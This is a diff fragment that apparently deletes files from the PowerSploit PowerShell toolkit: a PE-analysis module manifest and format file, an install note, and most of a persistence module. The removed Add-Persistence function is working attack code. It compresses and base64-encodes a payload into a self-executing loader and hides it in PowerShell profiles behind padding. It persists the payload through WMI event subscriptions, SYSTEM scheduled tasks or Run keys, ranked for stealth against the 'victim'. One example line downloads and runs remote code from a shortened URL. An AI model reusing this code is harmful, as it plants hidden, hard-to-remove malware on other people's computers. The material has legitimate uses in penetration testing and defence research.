<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>RVA</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Ordinal</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>FunctionName</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>ForwardedName</Label>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<PropertyName>RVA</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Ordinal</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>FunctionName</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>ForwardedName</PropertyName>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
</ViewDefinitions>
|
||||
</Configuration>
|
||||
@@ -1,88 +0,0 @@
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'PETools.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '1.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'
|
||||
|
||||
# Author of this module
|
||||
Author = 'Matthew Graeber'
|
||||
|
||||
# Company or vendor of this module
|
||||
CompanyName = ''
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
||||
# Description of the functionality provided by this module
|
||||
Description = 'PowerSploit Portable Executable Analysis Module'
|
||||
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Name of the Windows PowerShell host required by this module
|
||||
# PowerShellHostName = ''
|
||||
|
||||
# Minimum version of the Windows PowerShell host required by this module
|
||||
# PowerShellHostVersion = ''
|
||||
|
||||
# Minimum version of the .NET Framework required by this module
|
||||
# DotNetFrameworkVersion = ''
|
||||
|
||||
# Minimum version of the common language runtime (CLR) required by this module
|
||||
# CLRVersion = ''
|
||||
|
||||
# Processor architecture (None, X86, Amd64) required by this module
|
||||
# ProcessorArchitecture = ''
|
||||
|
||||
# Modules that must be imported into the global environment prior to importing this module
|
||||
# RequiredModules = @()
|
||||
|
||||
# Assemblies that must be loaded prior to importing this module
|
||||
# RequiredAssemblies = @()
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||
# ScriptsToProcess = ''
|
||||
|
||||
# Type files (.ps1xml) to be loaded when importing this module
|
||||
# TypesToProcess = @()
|
||||
|
||||
# Format files (.ps1xml) to be loaded when importing this module
|
||||
FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml'
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
# NestedModules = @()
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# Cmdlets to export from this module
|
||||
CmdletsToExport = '*'
|
||||
|
||||
# Variables to export from this module
|
||||
VariablesToExport = ''
|
||||
|
||||
# Aliases to export from this module
|
||||
AliasesToExport = ''
|
||||
|
||||
# List of all modules packaged with this module.
|
||||
ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'})
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1',
|
||||
'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
||||
# HelpInfo URI of this module
|
||||
# HelpInfoURI = ''
|
||||
|
||||
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||
# DefaultCommandPrefix = ''
|
||||
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
To install this module, drop the entire PETools folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
|
||||
|
||||
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
|
||||
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
|
||||
|
||||
To use the module, type `Import-Module PETools`
|
||||
|
||||
To see the commands imported, type `Get-Command -Module PETools`
|
||||
|
||||
For help on each individual command, Get-Help is your friend.
|
||||
|
||||
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
|
||||
@@ -1,400 +0,0 @@
|
||||
function Add-Persistence
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Add persistence capabilities to a script.
|
||||
|
||||
PowerSploit Function: Add-Persistence
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: New-ElevatedPersistenceOptions, New-UserPersistenceOptions
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
|
||||
|
||||
.PARAMETER ScriptBlock
|
||||
|
||||
Specifies a scriptblock containing your payload.
|
||||
|
||||
.PARAMETER FilePath
|
||||
|
||||
Specifies the path to your payload.
|
||||
|
||||
.PARAMETER ElevatedPersistenceOptions
|
||||
|
||||
Specifies the trigger for the persistent payload if the target is running elevated.
|
||||
You must run New-ElevatedPersistenceOptions to generate this argument.
|
||||
|
||||
.PARAMETER UserPersistenceOptions
|
||||
|
||||
Specifies the trigger for the persistent payload if the target is not running elevated.
|
||||
You must run New-UserPersistenceOptions to generate this argument.
|
||||
|
||||
.PARAMETER PersistenceScriptName
|
||||
|
||||
Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
|
||||
|
||||
.PARAMETER DoNotPersistImmediately
|
||||
|
||||
Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
|
||||
|
||||
.PARAMETER PersistentScriptFilePath
|
||||
|
||||
Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
|
||||
|
||||
.PARAMETER RemovalScriptFilePath
|
||||
|
||||
Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
|
||||
|
||||
.PARAMETER PassThru
|
||||
|
||||
Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
|
||||
|
||||
.INPUTS
|
||||
|
||||
None
|
||||
|
||||
Add-Persistence cannot receive any input from the pipeline.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.Management.Automation.ScriptBlock
|
||||
|
||||
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
|
||||
|
||||
.NOTES
|
||||
|
||||
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
|
||||
C:\PS>$UserOptions = New-UserPersistenceOptions -Registry -AtLogon
|
||||
C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose
|
||||
|
||||
Description
|
||||
-----------
|
||||
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
|
||||
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
|
||||
C:\PS>$UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
|
||||
C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
|
||||
|
||||
Description
|
||||
-----------
|
||||
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[ScriptBlock]
|
||||
$ScriptBlock,
|
||||
|
||||
[Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias('Path')]
|
||||
[String]
|
||||
$FilePath,
|
||||
|
||||
[Parameter( Mandatory = $True )]
|
||||
$ElevatedPersistenceOptions,
|
||||
|
||||
[Parameter( Mandatory = $True )]
|
||||
$UserPersistenceOptions,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$PersistenceScriptName = 'Update-Windows',
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$PersistentScriptFilePath = "$PWD\Persistence.ps1",
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$RemovalScriptFilePath = "$PWD\RemovePersistence.ps1",
|
||||
|
||||
[Switch]
|
||||
$DoNotPersistImmediately,
|
||||
|
||||
[Switch]
|
||||
$PassThru
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
#region Validate arguments
|
||||
|
||||
if ($ElevatedPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOptions')
|
||||
{
|
||||
throw 'You provided invalid elevated persistence options.'
|
||||
}
|
||||
|
||||
if ($UserPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOptions')
|
||||
{
|
||||
throw 'You provided invalid user-level persistence options.'
|
||||
}
|
||||
|
||||
$Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop
|
||||
$Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
|
||||
$PersistentScriptFile = ''
|
||||
$RemovalScriptFile = ''
|
||||
|
||||
if ($Path -eq '')
|
||||
{
|
||||
$PersistentScriptFile = "$($PWD)\$($Leaf)"
|
||||
}
|
||||
else
|
||||
{
|
||||
$PersistentScriptFile = "$($Path)\$($Leaf)"
|
||||
}
|
||||
|
||||
$Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop
|
||||
$Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
|
||||
if ($Path -eq '')
|
||||
{
|
||||
$RemovalScriptFile = "$($PWD)\$($Leaf)"
|
||||
}
|
||||
else
|
||||
{
|
||||
$RemovalScriptFile = "$($Path)\$($Leaf)"
|
||||
}
|
||||
|
||||
if ($PSBoundParameters['Path'])
|
||||
{
|
||||
Get-ChildItem $Path -ErrorAction Stop | Out-Null
|
||||
$Script = [IO.File]::ReadAllText((Resolve-Path $Path))
|
||||
}
|
||||
else
|
||||
{
|
||||
$Script = $ScriptBlock
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Initialize data
|
||||
|
||||
$CompressedScript = ''
|
||||
$UserTrigger = ''
|
||||
$UserTriggerRemoval = ''
|
||||
$ElevatedTrigger = "''"
|
||||
$ElevatedTriggerRemoval = ''
|
||||
$UserTrigger = "''"
|
||||
$UserTriggerRemoval = ''
|
||||
$CommandLine = ''
|
||||
|
||||
#endregion
|
||||
|
||||
#region Compress the original payload in preparation for the persistence script
|
||||
|
||||
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
|
||||
$CompressedStream = New-Object IO.MemoryStream
|
||||
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
|
||||
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
|
||||
$DeflateStream.Dispose()
|
||||
$CompressedScriptBytes = $CompressedStream.ToArray()
|
||||
$CompressedStream.Dispose()
|
||||
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
|
||||
|
||||
# Generate the code that will decompress and execute the payload.
|
||||
# This code is intentionally ugly to save space.
|
||||
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
|
||||
|
||||
#endregion
|
||||
|
||||
#region Process persistence options
|
||||
|
||||
# Begin processing elevated persistence options
|
||||
switch ($ElevatedPersistenceOptions.Method)
|
||||
{
|
||||
'PermanentWMI'
|
||||
{
|
||||
$ElevatedTriggerRemoval = {
|
||||
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
|
||||
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
|
||||
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
|
||||
}
|
||||
|
||||
switch ($ElevatedPersistenceOptions.Trigger)
|
||||
{
|
||||
'AtStartup'
|
||||
{
|
||||
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
|
||||
}
|
||||
|
||||
'Daily'
|
||||
{
|
||||
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOptions.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOptions.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
|
||||
}
|
||||
|
||||
default
|
||||
{
|
||||
throw 'Invalid elevated persistence options provided!'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
'ScheduledTask'
|
||||
{
|
||||
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
|
||||
$ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
|
||||
|
||||
switch ($ElevatedPersistenceOptions.Trigger)
|
||||
{
|
||||
'AtLogon'
|
||||
{
|
||||
$ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
|
||||
}
|
||||
|
||||
'Daily'
|
||||
{
|
||||
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
|
||||
}
|
||||
|
||||
'OnIdle'
|
||||
{
|
||||
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
|
||||
}
|
||||
|
||||
default
|
||||
{
|
||||
throw 'Invalid elevated persistence options provided!'
|
||||
}
|
||||
}
|
||||
|
||||
$ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
|
||||
}
|
||||
|
||||
'Registry'
|
||||
{
|
||||
$ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
|
||||
$ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
|
||||
$CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
|
||||
$ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
|
||||
}
|
||||
|
||||
default
|
||||
{
|
||||
throw 'Invalid elevated persistence options provided!'
|
||||
}
|
||||
}
|
||||
|
||||
# Begin processing user-level persistence options
|
||||
switch ($UserPersistenceOptions.Method)
|
||||
{
|
||||
'ScheduledTask'
|
||||
{
|
||||
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
|
||||
$UserTriggerRemoval = "schtasks /Delete /TN Updater"
|
||||
|
||||
switch ($UserPersistenceOptions.Trigger)
|
||||
{
|
||||
'Daily'
|
||||
{
|
||||
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
|
||||
}
|
||||
|
||||
'OnIdle'
|
||||
{
|
||||
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
|
||||
}
|
||||
|
||||
default
|
||||
{
|
||||
throw 'Invalid user-level persistence options provided!'
|
||||
}
|
||||
}
|
||||
|
||||
$UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
|
||||
}
|
||||
|
||||
'Registry'
|
||||
{
|
||||
$UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
|
||||
$UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
|
||||
$CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
|
||||
$UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
|
||||
}
|
||||
|
||||
default
|
||||
{
|
||||
throw 'Invalid user-level persistence options provided!'
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Original script with its persistence logic will reside here
|
||||
|
||||
# This is intentionally ugly in the interest of saving space on the victim machine.
|
||||
$PersistantScript = {
|
||||
function FUNCTIONNAME{
|
||||
Param([Switch]$Persist)
|
||||
$ErrorActionPreference='SilentlyContinue'
|
||||
$Script={ORIGINALSCRIPT}
|
||||
if($Persist){
|
||||
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
|
||||
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
|
||||
else
|
||||
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
|
||||
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
|
||||
iex $Payload|Out-Null
|
||||
Write-Output $Payload}
|
||||
else
|
||||
{$Script.Invoke()}
|
||||
} EXECUTEFUNCTION
|
||||
|
||||
}
|
||||
|
||||
$PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
|
||||
$PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
|
||||
$PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
|
||||
$PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
|
||||
|
||||
if ($DoNotPersistImmediately)
|
||||
{
|
||||
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
|
||||
}
|
||||
else
|
||||
{
|
||||
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist")
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Generate final output
|
||||
|
||||
# Generate the persistence removal script
|
||||
$PersistenceRemoval = @"
|
||||
# Execute the following to remove the elevated persistent payload
|
||||
$ElevatedTriggerRemoval
|
||||
# Execute the following to remove the user-level persistent payload
|
||||
$UserTriggerRemoval
|
||||
"@
|
||||
|
||||
|
||||
$PersistantScript | Out-File $PersistentScriptFile
|
||||
Write-Verbose "Persistence script written to $PersistentScriptFile"
|
||||
|
||||
$PersistenceRemoval | Out-File $RemovalScriptFile
|
||||
Write-Verbose "Persistence removal script written to $RemovalScriptFile"
|
||||
|
||||
if ($PassThru)
|
||||
{
|
||||
# Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
|
||||
Write-Output ([ScriptBlock]::Create($PersistantScript))
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
@@ -1,170 +0,0 @@
|
||||
function New-ElevatedPersistenceOptions
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Configure elevated persistence options for the Add-Persistence function.
|
||||
|
||||
PowerSploit Function: New-ElevatedPersistenceOptions
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
New-ElevatedPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
|
||||
|
||||
.PARAMETER PermanentWMI
|
||||
|
||||
Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
|
||||
|
||||
Detection Difficulty: Difficult
|
||||
Removal Difficulty: Difficult
|
||||
User Detectable? No
|
||||
|
||||
.PARAMETER ScheduledTask
|
||||
|
||||
Persist via a scheduled task.
|
||||
|
||||
Detection Difficulty: Moderate
|
||||
Removal Difficulty: Moderate
|
||||
User Detectable? No
|
||||
|
||||
.PARAMETER Registry
|
||||
|
||||
Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
|
||||
|
||||
Detection Difficulty: Easy
|
||||
Removal Difficulty: Easy
|
||||
User Detectable? Yes
|
||||
|
||||
.PARAMETER AtLogon
|
||||
|
||||
Starts the payload upon any user logon.
|
||||
|
||||
.PARAMETER AtStartup
|
||||
|
||||
Starts the payload within 240 and 325 seconds of computer startup.
|
||||
|
||||
.PARAMETER OnIdle
|
||||
|
||||
Starts the payload after one minute of idling.
|
||||
|
||||
.PARAMETER Daily
|
||||
|
||||
Starts the payload daily.
|
||||
|
||||
.PARAMETER At
|
||||
|
||||
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -Registry -AtStartup
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
|
||||
[Switch]
|
||||
$PermanentWMI,
|
||||
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
|
||||
[Switch]
|
||||
$ScheduledTask,
|
||||
|
||||
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
|
||||
[Switch]
|
||||
$Registry,
|
||||
|
||||
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
|
||||
[Switch]
|
||||
$Daily,
|
||||
|
||||
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
|
||||
[DateTime]
|
||||
$At,
|
||||
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
|
||||
[Switch]
|
||||
$OnIdle,
|
||||
|
||||
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
|
||||
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
|
||||
[Switch]
|
||||
$AtLogon,
|
||||
|
||||
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
|
||||
[Switch]
|
||||
$AtStartup
|
||||
)
|
||||
|
||||
$PersistenceOptionsTable = @{
|
||||
Method = ''
|
||||
Trigger = ''
|
||||
Time = ''
|
||||
}
|
||||
|
||||
switch ($PSCmdlet.ParameterSetName)
|
||||
{
|
||||
'PermanentWMIAtStartup'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'PermanentWMI'
|
||||
$PersistenceOptionsTable['Trigger'] = 'AtStartup'
|
||||
}
|
||||
|
||||
'PermanentWMIDaily'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'PermanentWMI'
|
||||
$PersistenceOptionsTable['Trigger'] = 'Daily'
|
||||
$PersistenceOptionsTable['Time'] = $At
|
||||
}
|
||||
|
||||
'ScheduledTaskAtLogon'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
|
||||
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
|
||||
}
|
||||
|
||||
'ScheduledTaskOnIdle'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
|
||||
$PersistenceOptionsTable['Trigger'] = 'OnIdle'
|
||||
}
|
||||
|
||||
'ScheduledTaskDaily'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
|
||||
$PersistenceOptionsTable['Trigger'] = 'Daily'
|
||||
$PersistenceOptionsTable['Time'] = $At
|
||||
}
|
||||
|
||||
'Registry'
|
||||
{
|
||||
$PersistenceOptionsTable['Method'] = 'Registry'
|
||||
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
|
||||
}
|
||||
}
|
||||
|
||||
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
|
||||
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions'
|
||||
|
||||
Write-Output $PersistenceOptions
|
||||
}
|
||||
@@ -1,128 +0,0 @@
|
||||
function New-UserPersistenceOptions
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Configure user-level persistence options for the Add-Persistence function.
|
||||
|
||||
PowerSploit Function: New-UserPersistenceOptions
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
New-UserPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
|
||||
|
||||
.PARAMETER ScheduledTask
|
||||
|
||||
Persist via a scheduled task.
|
||||
|
||||
Detection Difficulty: Moderate
|
||||
Removal Difficulty: Moderate
|
||||
User Detectable? No
|
||||
|
||||
.PARAMETER Registry
|
||||
|
||||
Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
|
||||
|
||||
Detection Difficulty: Easy
|
||||
Removal Difficulty: Easy
|
||||
User Detectable? Yes
|
||||
|
||||
.PARAMETER AtLogon
|
||||
|
||||
Starts the payload upon any user logon.
|
||||
|
||||
.PARAMETER OnIdle
|
||||
|
||||
Starts the payload after one minute of idling.
|
||||
|
||||
.PARAMETER Daily
|
||||
|
||||
Starts the payload daily.
|
||||
|
||||
.PARAMETER At
|
||||
|
||||
